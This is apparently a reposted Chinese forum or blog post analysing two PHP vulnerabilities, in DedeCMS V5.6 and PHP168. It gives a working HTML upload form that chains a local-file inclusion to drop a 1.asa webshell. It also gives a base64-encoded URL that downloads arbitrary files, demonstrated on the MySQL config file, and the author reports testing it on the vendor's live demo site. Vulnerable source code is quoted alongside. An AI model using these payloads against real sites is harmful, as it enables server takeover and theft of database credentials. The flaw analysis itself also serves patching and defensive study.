作者:jannock 首发:t00ls.net
DedeCmsV5.6 本地包含里的上传漏洞分析
DedeCmsV5.6 本地包含漏洞:http://t00ls.net/thread-8608-1-1.html
之前就发现了这本地包含的利用方法。
<form action="http://localhost:8090/plus/carbuyaction.php?dopost=return&action=xxx&code=../../include/dialog/select_soft_post" method="post" enctype="multipart/form-data" name="QuickSearch" id="QuickSearch">
<input type="hidden" name="newname" value="1.asa">
<input type="file" name="uploadfile">
<input type="submit" value="搜索" name="QuickSearchBtn">
</form>
上传一个图片木马(只改后辍名为图片类型就行),即可在网站根目录生成 1.asa 文件
简单分析:
文件:select_soft_post.php
<?php
if(!isset($cfg_basedir))
{
include_once(dirname(__FILE__).'/config.php');
}
//config.php 是用于验证是否管理员。由于本地包含, $cfg_basedir 已经设置了值,应该跳过了验证。
//文件名(前为手工指定, 后者自动处理)
if(!empty($newname))
{
$filename = $newname;
if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name);
else $fs = explode('.', $filename);
if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
{
ShowMsg("你指定的文件名被系统禁止!",'javascript:;');
exit();
}
if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs[count($fs)-1];
}else{
$filename = $cuserLogin->getUserID().'-'.dd2char(MyDate('ymdHis',$nowtme));
$fs = explode('.', $uploadfile_name);
if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
{
ShowMsg("你上传了某些可能存在不安全因素的文件,系统拒绝操作!",'javascript:;');
exit();
}
$filename = $filename.'.'.$fs[count($fs)-1];
}
问题就出在 $newname 那里,没验证上传类型,但验证了非可上传类型
//这里强制限定的某些文件类型禁止上传
$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";
即可以上传非上面类型的文件,有时也并不鸡肋。。
=======================================================
PHP168下载任意文件漏洞(旧漏洞依然存在?)
今天翻了一下旧的文件,发现很久前的一个分析报告,然后到php168演试站测试了一下,居然漏洞依然存在?
漏洞相关文件HASH:b912249a22b630c04f7ad65f8ba5a2f6 download.php
漏洞描述:
漏洞文件download.php
$url=base64_decode($url); //27行
$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php$",$fileurl) && is_file(PHP168_PATH."$fileurl") ){ //只判断文件后辍是不是php,如果是php,而且存在这个文件,那么就提示出错,但问题就是出现在这里,在win环境下,文件后辍多出一个空格,文件一样显示存在的。就是利用这里,我们可以下载系统任意文件。
die("ERR");
}
if(!$webdb[DownLoad_readfile]){ //33行,这里也是一个条件,后台设置了不能读取方式下载也是不能成功的。
$fileurl=strstr($url,"://")?$url:tempdir($fileurl);
header("location:$fileurl");
exit;
}
if( is_file(PHP168_PATH."$fileurl") ){
$filename=basename($fileurl);
$filetype=substr(strrchr($filename,'.'),1);
$_filename=preg_replace("/([\d]+)_(200[\d]+)_([^_]+)\.([^\.]+)/is","\\3",$filename);
if(eregi("^([a-z0-9=]+)$",$_filename)&&!eregi("(jpg|gif|png)$",$filename)){
$filename=urldecode(base64_decode($_filename)).".$filetype";
}
ob_end_clean();
header('Last-Modified: '.gmdate('D, d M Y H:i:s',time()).' GMT');
header('Pragma: no-cache');
header('Content-Encoding: none');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-type: '.$filetype);
header('Content-Length: '.filesize(PHP168_PATH."$fileurl"));
readfile(PHP168_PATH."$fileurl");
}else{
$filename=basename($fileurl);
$filetype=substr(strrchr($filename,'.'),1);
$fileurl=strstr($url,"://")?$url:tempdir($fileurl);
ob_end_clean();
header('Last-Modified: '.gmdate('D, d M Y H:i:s',time()).' GMT');
header('Pragma: no-cache');
header('Content-Encoding: none');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-type: '.$filetype);
readfile($fileurl);
}
测试方法:首先,我们把需要下载的文件名改用base64_encode形式。如下:php168/mysql_config.php

要注意,文件名后面需要多一个空格。
加密后:cGhwMTY4L215c3FsX2NvbmZpZy5waHAg
这时提交地址:http://localhost:8090/php168/do/job.php?job=download&url=cGhwMTY4L215c3FsX2NvbmZpZy5waHAg
(注意,网站目录是http://localhost:8090/php168/)
即可下载其文件:
演试站测试:http://v6.php168.com/do/job.php? ... 3FsX2NvbmZpZy5waHAg

共有0人发表观点
Death_Azreal的 博客 相关分享:


